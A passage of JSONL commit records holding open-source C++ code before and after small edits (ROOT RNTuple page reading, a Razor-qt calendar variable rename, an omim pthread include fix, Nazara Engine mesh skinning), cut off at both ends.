fPageAllocator->DeletePage(page);\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\nROOT::Experimental::Detail::RPage ROOT::Experimental::Detail::RPageAllocatorFile::NewPage(\n   ColumnId_t columnId, void *mem, std::size_t elementSize, std::size_t nElements)\n{\n   RPage newPage(columnId, mem, elementSize * nElements, elementSize);\n   newPage.TryGrow(nElements);\n   return newPage;\n}\n\nvoid ROOT::Experimental::Detail::RPageAllocatorFile::DeletePage(const RPage& page)\n{\n   if (page.IsNull())\n      return;\n   delete[] reinterpret_cast<unsigned char *>(page.GetBuffer());\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\nROOT::Experimental::Detail::RPageSourceFile::RPageSourceFile(std::string_view ntupleName,\n   const RNTupleReadOptions &options)\n   : RPageSource(ntupleName, options)\n   , fMetrics(\"RPageSourceFile\")\n   , fPageAllocator(std::make_unique<RPageAllocatorFile>())\n   , fPagePool(std::make_shared<RPagePool>())\n{\n}\n\n\nROOT::Experimental::Detail::RPageSourceFile::RPageSourceFile(std::string_view ntupleName, std::string_view path,\n   const RNTupleReadOptions &options)\n   : RPageSourceFile(ntupleName, options)\n{\n   fFile = std::unique_ptr<RRawFile>(RRawFile::Create(path));\n   R__ASSERT(fFile);\n   fReader = Internal::RMiniFileReader(fFile.get());\n}\n\n\nROOT::Experimental::Detail::RPageSourceFile::~RPageSourceFile()\n{\n}\n\n\nROOT::Experimental::RNTupleDescriptor ROOT::Experimental::Detail::RPageSourceFile::DoAttach()\n{\n   RNTupleDescriptorBuilder descBuilder;\n   const auto fNTuple = fReader.GetNTuple(fNTupleName);\n\n   auto buffer = std::unique_ptr<unsigned char[]>(new unsigned char[fNTuple.fLenHeader]);\n   auto zipBuffer = std::unique_ptr<unsigned char[]>(new unsigned char[fNTuple.fNBytesHeader]);\n   fReader.ReadBlob(zipBuffer.get(), fNTuple.fNBytesHeader, fNTuple.fSeekHeader);\n   fDecompressor(zipBuffer.get(), fNTuple.fNBytesHeader, fNTuple.fLenHeader, buffer.get());\n   descBuilder.SetFromHeader(buffer.get());\n\n   buffer = std::unique_ptr<unsigned char[]>(new unsigned char[fNTuple.fLenFooter]);\n   zipBuffer = std::unique_ptr<unsigned char[]>(new unsigned char[fNTuple.fNBytesFooter]);\n   fReader.ReadBlob(zipBuffer.get(), fNTuple.fNBytesFooter, fNTuple.fSeekFooter);\n   fDecompressor(zipBuffer.get(), fNTuple.fNBytesFooter, fNTuple.fLenFooter, buffer.get());\n   descBuilder.AddClustersFromFooter(buffer.get());\n\n   return descBuilder.MoveDescriptor();\n}\n\n\nROOT::Experimental::Detail::RPage ROOT::Experimental::Detail::RPageSourceFile::PopulatePageFromCluster(\n   ColumnHandle_t columnHandle, const RClusterDescriptor &clusterDescriptor, ClusterSize_t::ValueType clusterIndex)\n{\n   const auto columnId = columnHandle.fId;\n   const auto clusterId = clusterDescriptor.GetId();\n   const auto &pageRange = clusterDescriptor.GetPageRange(columnId);\n\n   \/\/ TODO(jblomer): binary search\n   RClusterDescriptor::RPageRange::RPageInfo pageInfo;\n   decltype(clusterIndex) firstInPage = 0;\n   for (const auto &pi : pageRange.fPageInfos) {\n      if (firstInPage + pi.fNElements > clusterIndex) {\n         pageInfo = pi;\n         break;\n      }\n      firstInPage += pi.fNElements;\n   }\n   R__ASSERT(firstInPage <= clusterIndex);\n   R__ASSERT((firstInPage + pageInfo.fNElements) > clusterIndex);\n\n   const auto element = columnHandle.fColumn->GetElement();\n   const auto elementSize = element->GetSize();\n\n   auto pageSize = pageInfo.fLocator.fBytesOnStorage;\n   auto pageBuffer = new unsigned char[\n      std::max(pageSize, static_cast<std::uint32_t>(elementSize * pageInfo.fNElements))];\n   fReader.ReadBlob(pageBuffer, pageInfo.fLocator.fBytesOnStorage, pageInfo.fLocator.fPosition);\n\n   const auto bytesOnStorage = (element->GetBitsOnStorage() * pageInfo.fNElements + 7) \/ 8;\n   if (pageSize != bytesOnStorage) {\n      fDecompressor(pageBuffer, pageSize, bytesOnStorage);\n      pageSize = bytesOnStorage;\n   }\n\n   if (!element->IsMappable()) {\n      pageSize = elementSize * pageInfo.fNElements;\n      auto unpackedBuffer = new unsigned char[pageSize];\n      element->Unpack(unpackedBuffer, pageBuffer, pageInfo.fNElements);\n      delete[] pageBuffer;\n      pageBuffer = unpackedBuffer;\n   }\n\n   const auto indexOffset = clusterDescriptor.GetColumnRange(columnId).fFirstElementIndex;\n   auto newPage = fPageAllocator->NewPage(columnId, pageBuffer, elementSize, pageInfo.fNElements);\n   newPage.SetWindow(indexOffset + firstInPage, RPage::RClusterInfo(clusterId, indexOffset));\n   fPagePool->RegisterPage(newPage,\n      RPageDeleter([](const RPage &page, void *\/*userData*\/)\n      {\n         RPageAllocatorFile::DeletePage(page);\n      }, nullptr));\n   return newPage;\n}\n\n\nROOT::Experimental::Detail::RPage ROOT::Experimental::Detail::RPageSourceFile::PopulatePage(\n   ColumnHandle_t columnHandle, NTupleSize_t globalIndex)\n{\n   const auto columnId = columnHandle.fId;\n   auto cachedPage = fPagePool->GetPage(columnId, globalIndex);\n   if (!cachedPage.IsNull())\n      return cachedPage;\n\n   const auto clusterId = fDescriptor.FindClusterId(columnId, globalIndex);\n   R__ASSERT(clusterId != kInvalidDescriptorId);\n   const auto &clusterDescriptor = fDescriptor.GetClusterDescriptor(clusterId);\n   const auto selfOffset = clusterDescriptor.GetColumnRange(columnId).fFirstElementIndex;\n   R__ASSERT(selfOffset <= globalIndex);\n   return PopulatePageFromCluster(columnHandle, clusterDescriptor, globalIndex - selfOffset);\n}\n\n\nROOT::Experimental::Detail::RPage ROOT::Experimental::Detail::RPageSourceFile::PopulatePage(\n   ColumnHandle_t columnHandle, const RClusterIndex &clusterIndex)\n{\n   const auto clusterId = clusterIndex.GetClusterId();\n   const auto index = clusterIndex.GetIndex();\n   const auto columnId = columnHandle.fId;\n   auto cachedPage = fPagePool->GetPage(columnId, clusterIndex);\n   if (!cachedPage.IsNull())\n      return cachedPage;\n\n   R__ASSERT(clusterId != kInvalidDescriptorId);\n   const auto &clusterDescriptor = fDescriptor.GetClusterDescriptor(clusterId);\n   return PopulatePageFromCluster(columnHandle, clusterDescriptor, index);\n}\n\nvoid ROOT::Experimental::Detail::RPageSourceFile::ReleasePage(RPage &page)\n{\n   fPagePool->ReturnPage(page);\n}\n\nstd::unique_ptr<ROOT::Experimental::Detail::RPageSource> ROOT::Experimental::Detail::RPageSourceFile::Clone() const\n{\n   auto clone = new RPageSourceFile(fNTupleName, fOptions);\n   clone->fFile = fFile->Clone();\n   clone->fReader = Internal::RMiniFileReader(clone->fFile.get());\n   return std::unique_ptr<RPageSourceFile>(clone);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* BEGIN_COMMON_COPYRIGHT_HEADER\n * (c)LGPL2+\n *\n * Razor - a lightweight, Qt based, desktop toolset\n * http:\/\/razor-qt.org\n *\n * Copyright: 2012 Razor team\n * Authors:\n *   Kuzma Shapran <kuzma.shapran@gmail.com>\n *   Luís Pereira <luis.artur.pereira@gmail.com>\n *\n * This program or library is free software; you can redistribute it\n * and\/or modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n\n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301 USA\n *\n * END_COMMON_COPYRIGHT_HEADER *\/\n\n\n#include \"calendar_utils.h\"\n#include \"config.h\"\n\n#include <QtCore\/QtGlobal>\n\n#if QT_VERSION < 0x040800\n\n#ifdef CAN_USE_BOOST\n\n#include <boost\/locale\/date_time.hpp>\n\nQt::DayOfWeek firstDayOfWeek(void)\n{\n    return (boost::locale::calendar().first_day_of_week() + 6) % 7;\n}\n\n#else \/\/ use C\n\n#ifdef HAVE__NL_TIME_FIRST_WEEKDAY\n#include <langinfo.h>\n#include <QtCore\/QDebug>\n#endif\n\nQt::DayOfWeek firstDayOfWeek(void)\n{\n    #ifdef HAVE__NL_TIME_FIRST_WEEKDAY\n    int first_weekday, week_1stday, week_start;\n    long week_1stday_l;\n\n    first_weekday = nl_langinfo(_NL_TIME_FIRST_WEEKDAY)[0];\n    week_1stday_l = (long) nl_langinfo(_NL_TIME_WEEK_1STDAY);\n    if (week_1stday_l == 19971130L)  \/\/ Sunday\n    {\n        week_1stday = 0;\n    }\n    else if (week_1stday_l== 19971201L) \/\/ Monday\n    {\n        week_1stday = 1;\n    }\n    else\n    {\n        qDebug() << Q_FUNC_INFO <<\n            \"nl_langinfo(_NL_TIME_WEEK_1STDAY) returned an unknown value.\";\n    }\n\n    week_start = (week_1stday + first_weekday - 1) % 7;\n    if (week_start == 0)\n    {\n        return Qt::Sunday;\n    }\n    else\n    {\n        return static_cast<Qt::DayOfWeek>(week_start);\n    }\n    #else\n    return Qt::Sunday;\n    #endif \/\/ HAVE__NL_TIME_FIRST_WEEKDAY\n}\n\n#endif\n\n#else \/\/ use Qt >= 4.8\n\nQt::DayOfWeek firstDayOfWeek(void)\n{\n    return QLocale::system().firstDayOfWeek();\n}\n\n#endif\n<commit_msg>plugin-clock: Use camelCase style for variables<commit_after>\/* BEGIN_COMMON_COPYRIGHT_HEADER\n * (c)LGPL2+\n *\n * Razor - a lightweight, Qt based, desktop toolset\n * http:\/\/razor-qt.org\n *\n * Copyright: 2012 Razor team\n * Authors:\n *   Kuzma Shapran <kuzma.shapran@gmail.com>\n *   Luís Pereira <luis.artur.pereira@gmail.com>\n *\n * This program or library is free software; you can redistribute it\n * and\/or modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n\n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301 USA\n *\n * END_COMMON_COPYRIGHT_HEADER *\/\n\n\n#include \"calendar_utils.h\"\n#include \"config.h\"\n\n#include <QtCore\/QtGlobal>\n\n#if QT_VERSION < 0x040800\n\n#ifdef CAN_USE_BOOST\n\n#include <boost\/locale\/date_time.hpp>\n\nQt::DayOfWeek firstDayOfWeek(void)\n{\n    return (boost::locale::calendar().first_day_of_week() + 6) % 7;\n}\n\n#else \/\/ use C\n\n#ifdef HAVE__NL_TIME_FIRST_WEEKDAY\n#include <langinfo.h>\n#include <QtCore\/QDebug>\n#endif\n\nQt::DayOfWeek firstDayOfWeek(void)\n{\n    #ifdef HAVE__NL_TIME_FIRST_WEEKDAY\n    int firstWeekDay, weekFirstDay, weekStart;\n    long weekFirstDayLong;\n\n    firstWeekDay = nl_langinfo(_NL_TIME_FIRST_WEEKDAY)[0];\n    weekFirstDayLong = (long) nl_langinfo(_NL_TIME_WEEK_1STDAY);\n    if (weekFirstDayLong == 19971130L)  \/\/ Sunday\n    {\n        weekFirstDay = 0;\n    }\n    else if (weekFirstDayLong == 19971201L) \/\/ Monday\n    {\n        weekFirstDay = 1;\n    }\n    else\n    {\n        qDebug() << Q_FUNC_INFO <<\n            \"nl_langinfo(_NL_TIME_WEEK_1STDAY) returned an unknown value.\";\n    }\n\n    weekStart = (weekFirstDay + firstWeekDay - 1) % 7;\n    if (weekStart == 0)\n    {\n        return Qt::Sunday;\n    }\n    else\n    {\n        return static_cast<Qt::DayOfWeek>(weekStart);\n    }\n    #else\n    return Qt::Sunday;\n    #endif \/\/ HAVE__NL_TIME_FIRST_WEEKDAY\n}\n\n#endif\n\n#else \/\/ use Qt >= 4.8\n\nQt::DayOfWeek firstDayOfWeek(void)\n{\n    return QLocale::system().firstDayOfWeek();\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Initialize widget placement in Widget contructor.<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>mysql8.0: it seems that TEXT type is treated by MYSQL_TYPE_BLOB<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Ubuntu: Detect \"xubuntu\" as DESKTOP_SESSION.<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"..\/std\/target_os.hpp\"\n\n#if !defined(OMIM_OS_BADA) && !defined(OMIM_OS_WINDOWS_NATIVE)\n\n#include \"condition.hpp\"\n#include \"mutex.hpp\"\n\n#include \"..\/std\/stdint.hpp\"\n#include <sys\/time.h>\n#include <sys\/errno.h>\n\n#include <pthread.h>\n\nnamespace threads\n{\n  namespace impl\n  {\n    class ConditionImpl\n    {\n    public:\n      Mutex m_Mutex;\n      pthread_cond_t m_Condition;\n    };\n  }\n\n  Condition::Condition() : m_pImpl(new impl::ConditionImpl)\n  {\n    ::pthread_cond_init(&m_pImpl->m_Condition, 0);\n  }\n\n  Condition::~Condition()\n  {\n    ::pthread_cond_destroy(&m_pImpl->m_Condition);\n    delete m_pImpl;\n  }\n\n  void Condition::Signal(bool broadcast)\n  {\n    if (broadcast)\n      ::pthread_cond_broadcast(&m_pImpl->m_Condition);\n    else\n      ::pthread_cond_signal(&m_pImpl->m_Condition);\n  }\n\n  void Condition::Wait(unsigned ms)\n  {\n    if (ms == -1)\n      ::pthread_cond_wait(&m_pImpl->m_Condition, &m_pImpl->m_Mutex.m_Mutex);\n    else\n    {\n      ::timeval curtv;\n      ::gettimeofday(&curtv, 0);\n\n      ::timespec ts;\n\n      uint64_t deltaNanoSec = curtv.tv_usec * 1000 + ms * 1000000;\n\n      ts.tv_sec = curtv.tv_sec + deltaNanoSec \/ 1000000000;\n      ts.tv_nsec = deltaNanoSec % 1000000000;\n\n      ::pthread_cond_timedwait(&m_pImpl->m_Condition, &m_pImpl->m_Mutex.m_Mutex, &ts);\n    }\n  }\n\n  void Condition::Lock()\n  {\n    m_pImpl->m_Mutex.Lock();\n  }\n\n  void Condition::Unlock()\n  {\n    m_pImpl->m_Mutex.Unlock();\n  }\n}\n\n#endif\n<commit_msg>fixed includes.<commit_after>#include \"..\/std\/target_os.hpp\"\n\n#if !defined(OMIM_OS_BADA) && !defined(OMIM_OS_WINDOWS_NATIVE)\n\n#include \"condition.hpp\"\n#include \"mutex.hpp\"\n\n#include \"..\/std\/stdint.hpp\"\n#include \"..\/std\/systime.hpp\"\n\n#include <pthread.h>\n\nnamespace threads\n{\n  namespace impl\n  {\n    class ConditionImpl\n    {\n    public:\n      Mutex m_Mutex;\n      pthread_cond_t m_Condition;\n    };\n  }\n\n  Condition::Condition() : m_pImpl(new impl::ConditionImpl)\n  {\n    ::pthread_cond_init(&m_pImpl->m_Condition, 0);\n  }\n\n  Condition::~Condition()\n  {\n    ::pthread_cond_destroy(&m_pImpl->m_Condition);\n    delete m_pImpl;\n  }\n\n  void Condition::Signal(bool broadcast)\n  {\n    if (broadcast)\n      ::pthread_cond_broadcast(&m_pImpl->m_Condition);\n    else\n      ::pthread_cond_signal(&m_pImpl->m_Condition);\n  }\n\n  void Condition::Wait(unsigned ms)\n  {\n    if (ms == -1)\n      ::pthread_cond_wait(&m_pImpl->m_Condition, &m_pImpl->m_Mutex.m_Mutex);\n    else\n    {\n      ::timeval curtv;\n      ::gettimeofday(&curtv, 0);\n\n      ::timespec ts;\n\n      uint64_t deltaNanoSec = curtv.tv_usec * 1000 + ms * 1000000;\n\n      ts.tv_sec = curtv.tv_sec + deltaNanoSec \/ 1000000000;\n      ts.tv_nsec = deltaNanoSec % 1000000000;\n\n      ::pthread_cond_timedwait(&m_pImpl->m_Condition, &m_pImpl->m_Mutex.m_Mutex, &ts);\n    }\n  }\n\n  void Condition::Lock()\n  {\n    m_pImpl->m_Mutex.Lock();\n  }\n\n  void Condition::Unlock()\n  {\n    m_pImpl->m_Mutex.Unlock();\n  }\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (C) 2013 Jérôme Leclercq\n\/\/ This file is part of the \"Nazara Engine - Utility module\"\n\/\/ For conditions of distribution and use, see copyright notice in Config.hpp\n\n#include <Nazara\/Core\/Clock.hpp>\n\n#include <Nazara\/Utility\/SkeletalMesh.hpp>\n#include <Nazara\/Core\/TaskScheduler.hpp>\n#include <Nazara\/Utility\/BufferMapper.hpp>\n#include <Nazara\/Utility\/Config.hpp>\n#include <Nazara\/Utility\/Mesh.hpp>\n#include <Nazara\/Utility\/Skeleton.hpp>\n#include <Nazara\/Utility\/VertexStruct.hpp>\n#include <vector>\n#include <Nazara\/Utility\/Debug.hpp>\n\nnamespace\n{\n\tstruct SkinningInfos\n\t{\n\t\tconst NzJoint* joints;\n\t\tconst NzMeshVertex* inputVertex;\n\t\tNzMeshVertex* outputVertex;\n\t\tconst NzVertexWeight* vertexWeights;\n\t\tconst NzWeight* weights;\n\t};\n\n\tvoid Skin_Position(const SkinningInfos& skinningInfos, unsigned int startVertex, unsigned int vertexCount)\n\t{\n\t\tconst NzMeshVertex* inputVertex = &skinningInfos.inputVertex[startVertex];\n\t\tNzMeshVertex* outputVertex = &skinningInfos.outputVertex[startVertex];\n\n\t\tunsigned int endVertex = startVertex + vertexCount - 1;\n\t\tfor (unsigned int i = startVertex; i <= endVertex; ++i)\n\t\t{\n\t\t\tNzVector3f finalPosition(NzVector3f::Zero());\n\n\t\t\tunsigned int weightCount = skinningInfos.vertexWeights[i].weights.size();\n\t\t\tfor (unsigned int j = 0; j < weightCount; ++j)\n\t\t\t{\n\t\t\t\tconst NzWeight& weight = skinningInfos.weights[skinningInfos.vertexWeights[i].weights[j]];\n\n\t\t\t\tNzMatrix4f mat(skinningInfos.joints[weight.jointIndex].GetInverseBindMatrix());\n\t\t\t\tmat.ConcatenateAffine(skinningInfos.joints[weight.jointIndex].GetTransformMatrix());\n\t\t\t\tmat *= weight.weight;\n\n\t\t\t\tfinalPosition += mat.Transform(inputVertex->position);\n\t\t\t}\n\n\t\t\toutputVertex->position = finalPosition;\n\t\t\toutputVertex->uv = inputVertex->uv;\n\n\t\t\tinputVertex++;\n\t\t\toutputVertex++;\n\t\t}\n\t}\n\n\tvoid Skin_PositionNormal(const SkinningInfos& skinningInfos, unsigned int startVertex, unsigned int vertexCount)\n\t{\n\t\tconst NzMeshVertex* inputVertex = &skinningInfos.inputVertex[startVertex];\n\t\tNzMeshVertex* outputVertex = &skinningInfos.outputVertex[startVertex];\n\n\t\tunsigned int endVertex = startVertex + vertexCount - 1;\n\t\tfor (unsigned int i = startVertex; i <= endVertex; ++i)\n\t\t{\n\t\t\tNzVector3f finalPosition(NzVector3f::Zero());\n\t\t\tNzVector3f finalNormal(NzVector3f::Zero());\n\n\t\t\tunsigned int weightCount = skinningInfos.vertexWeights[i].weights.size();\n\t\t\tfor (unsigned int j = 0; j < weightCount; ++j)\n\t\t\t{\n\t\t\t\tconst NzWeight& weight = skinningInfos.weights[skinningInfos.vertexWeights[i].weights[j]];\n\n\t\t\t\tNzMatrix4f mat(skinningInfos.joints[weight.jointIndex].GetInverseBindMatrix());\n\t\t\t\tmat.ConcatenateAffine(skinningInfos.joints[weight.jointIndex].GetTransformMatrix());\n\t\t\t\tmat *= weight.weight;\n\n\t\t\t\tfinalPosition += mat.Transform(inputVertex->position);\n\t\t\t\tfinalNormal += mat.Transform(inputVertex->normal, 0.f);\n\t\t\t}\n\n\t\t\tfinalNormal.Normalize();\n\n\t\t\toutputVertex->normal = finalNormal;\n\t\t\toutputVertex->position = finalPosition;\n\t\t\toutputVertex->uv = inputVertex->uv;\n\n\t\t\tinputVertex++;\n\t\t\toutputVertex++;\n\t\t}\n\t}\n\n\tvoid Skin_PositionNormalTangent(const SkinningInfos& skinningInfos, unsigned int startVertex, unsigned int vertexCount)\n\t{\n\t\tconst NzMeshVertex* inputVertex = &skinningInfos.inputVertex[startVertex];\n\t\tNzMeshVertex* outputVertex = &skinningInfos.outputVertex[startVertex];\n\n\t\tunsigned int endVertex = startVertex + vertexCount - 1;\n\t\tfor (unsigned int i = startVertex; i <= endVertex; ++i)\n\t\t{\n\t\t\tNzVector3f finalPosition(NzVector3f::Zero());\n\t\t\tNzVector3f finalNormal(NzVector3f::Zero());\n\t\t\tNzVector3f finalTangent(NzVector3f::Zero());\n\n\t\t\tunsigned int weightCount = skinningInfos.vertexWeights[i].weights.size();\n\t\t\tfor (unsigned int j = 0; j < weightCount; ++j)\n\t\t\t{\n\t\t\t\tconst NzWeight& weight = skinningInfos.weights[skinningInfos.vertexWeights[i].weights[j]];\n\n\t\t\t\tNzMatrix4f mat(skinningInfos.joints[weight.jointIndex].GetInverseBindMatrix());\n\t\t\t\tmat.ConcatenateAffine(skinningInfos.joints[weight.jointIndex].GetTransformMatrix());\n\t\t\t\tmat *= weight.weight;\n\n\t\t\t\tfinalPosition += mat.Transform(inputVertex->position);\n\t\t\t\tfinalNormal += mat.Transform(inputVertex->normal, 0.f);\n\t\t\t\tfinalTangent += mat.Transform(inputVertex->tangent, 0.f);\n\t\t\t}\n\n\t\t\tfinalNormal.Normalize();\n\t\t\tfinalTangent.Normalize();\n\n\t\t\toutputVertex->normal = finalNormal;\n\t\t\toutputVertex->position = finalPosition;\n\t\t\toutputVertex->tangent = finalTangent;\n\t\t\toutputVertex->uv = inputVertex->uv;\n\n\t\t\tinputVertex++;\n\t\t\toutputVertex++;\n\t\t}\n\t}\n}\n\nstruct NzSkeletalMeshImpl\n{\n\tstd::vector<NzVertexWeight> vertexWeights;\n\tstd::vector<NzWeight> weights;\n\tNzCubef aabb;\n\tnzUInt8* bindPoseBuffer;\n\tNzIndexBufferConstRef indexBuffer;\n\tunsigned int vertexCount;\n};\n\nNzSkeletalMesh::NzSkeletalMesh(const NzMesh* parent) :\nNzSubMesh(parent)\n{\n}\n\nNzSkeletalMesh::~NzSkeletalMesh()\n{\n\tDestroy();\n}\n\nbool NzSkeletalMesh::Create(unsigned int vertexCount, unsigned int weightCount)\n{\n\tDestroy();\n\n\t#if NAZARA_UTILITY_SAFE\n\tif (vertexCount == 0)\n\t{\n\t\tNazaraError(\"Vertex count must be over 0\");\n\t\treturn false;\n\t}\n\n\tif (weightCount == 0)\n\t{\n\t\tNazaraError(\"Weight count must be over 0\");\n\t\treturn false;\n\t}\n\t#endif\n\n\tm_impl = new NzSkeletalMeshImpl;\n\tm_impl->bindPoseBuffer = new nzUInt8[vertexCount*sizeof(NzMeshVertex)];\n\tm_impl->vertexCount = vertexCount;\n\tm_impl->vertexWeights.resize(vertexCount);\n\tm_impl->weights.resize(weightCount);\n\n\treturn true;\n}\n\nvoid NzSkeletalMesh::Destroy()\n{\n\tif (m_impl)\n\t{\n\t\tif (m_impl->indexBuffer)\n\t\t\tm_impl->indexBuffer->RemoveResourceReference();\n\n\t\tdelete[] m_impl->bindPoseBuffer;\n\t\tdelete m_impl;\n\t\tm_impl = nullptr;\n\t}\n}\n\nvoid NzSkeletalMesh::Finish()\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn;\n\t}\n\t#endif\n\n\t\/\/ Rien à faire de particulier\n}\n\nconst NzCubef& NzSkeletalMesh::GetAABB() const\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\n\t\tstatic NzCubef dummy;\n\t\treturn dummy;\n\t}\n\t#endif\n\n\treturn m_impl->aabb;\n}\n\nnzAnimationType NzSkeletalMesh::GetAnimationType() const\n{\n\treturn nzAnimationType_Skeletal;\n}\n\nvoid* NzSkeletalMesh::GetBindPoseBuffer()\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn nullptr;\n\t}\n\t#endif\n\n\treturn m_impl->bindPoseBuffer;\n}\n\nconst void* NzSkeletalMesh::GetBindPoseBuffer() const\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn nullptr;\n\t}\n\t#endif\n\n\treturn m_impl->bindPoseBuffer;\n}\n\nconst NzIndexBuffer* NzSkeletalMesh::GetIndexBuffer() const\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn nullptr;\n\t}\n\t#endif\n\n\treturn m_impl->indexBuffer;\n}\n\nunsigned int NzSkeletalMesh::GetVertexCount() const\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn 0;\n\t}\n\t#endif\n\n\treturn m_impl->vertexCount;\n}\n\nNzVertexWeight* NzSkeletalMesh::GetVertexWeight(unsigned int vertexIndex)\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn nullptr;\n\t}\n\t#endif\n\n\treturn &m_impl->vertexWeights[vertexIndex];\n}\n\nconst NzVertexWeight* NzSkeletalMesh::GetVertexWeight(unsigned int vertexIndex) const\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn nullptr;\n\t}\n\t#endif\n\n\treturn &m_impl->vertexWeights[vertexIndex];\n}\n\nNzWeight* NzSkeletalMesh::GetWeight(unsigned int weightIndex)\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn nullptr;\n\t}\n\t#endif\n\n\treturn &m_impl->weights[weightIndex];\n}\n\nconst NzWeight* NzSkeletalMesh::GetWeight(unsigned int weightIndex) const\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn nullptr;\n\t}\n\t#endif\n\n\treturn &m_impl->weights[weightIndex];\n}\n\nunsigned int NzSkeletalMesh::GetWeightCount() const\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn 0;\n\t}\n\t#endif\n\n\treturn m_impl->weights.size();\n}\n\nbool NzSkeletalMesh::IsAnimated() const\n{\n\treturn true;\n}\n\nbool NzSkeletalMesh::IsValid() const\n{\n\treturn m_impl != nullptr;\n}\n\nvoid NzSkeletalMesh::Skin(NzMeshVertex* outputBuffer) const\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn;\n\t}\n\t#endif\n\n\tSkin(outputBuffer, m_parent->GetSkeleton());\n}\n\nvoid NzSkeletalMesh::Skin(NzMeshVertex* outputBuffer, const NzSkeleton* skeleton) const\n{\n\t#if NAZARA_UTILITY_SAFE\n\tif (!m_impl)\n\t{\n\t\tNazaraError(\"Skeletal mesh not created\");\n\t\treturn;\n\t}\n\t#endif\n\n\tSkinningInfos skinningInfos;\n\tskinningInfos.inputVertex = reinterpret_cast<const NzMeshVertex*>(m_impl->bindPoseBuffer);\n\tskinningInfos.outputVertex = outputBuffer;\n\tskinningInfos.joints = skeleton->GetJoints();\n\tskinningInfos.vertexWeights = &m_impl->vertexWeights[0];\n\tskinningInfos.weights = &m_impl->weights[0];\n\n\t#if NAZARA_UTILITY_MULTITHREADED_SKINNING\n\tunsigned int jointCount = skeleton->GetJointCount();\n\tfor (unsigned int i = 0; i < jointCount; ++i)\n\t\tskinningInfos.joints[i].EnsureTransformMatrixUpdate();\n\n\tunsigned int workerCount = NzTaskScheduler::GetWorkerCount();\n\n\tstd::ldiv_t div = std::ldiv(m_impl->vertexCount, workerCount); \/\/ Qui sait, peut-être que ça permet des optimisations plus efficaces\n\tfor (unsigned int i = 0; i < workerCount; ++i)\n\t\tNzTaskScheduler::AddTask(Skin_PositionNormalTangent, skinningInfos, i*div.quot, (i == workerCount-1) ? div.quot + div.rem : div.quot);\n\n\tNzTaskScheduler::WaitForTasks();\n\t#else\n\tSkin_PositionNormalTangent(skinningInfos, 0, m_impl->vertexCount);\n\t#endif\n\n\tm_impl->aabb = skeleton->GetAABB();\n}\n\nvoid NzSkeletalMesh::SetIndexBuffer(const NzIndexBuffer* indexBuffer)\n{\n\tm_impl->indexBuffer = indexBuffer;\n}\n<commit_msg>Fixed resource reference bug<commit_after>\/\/ Copyright (C) 2013 Jérôme Leclercq\n\/\/ This file is part of the \"Nazara Engine - Utility module\"\n\/\/ For conditions of distribution and use, see copyright notice in Config.hpp\n\n#include <Nazara\/Core\/Clock.hpp>\n\n#include <Nazara\/Utility\/SkeletalMesh.hpp>\n#include <Nazara\/Core\/TaskScheduler.hpp>\n#include 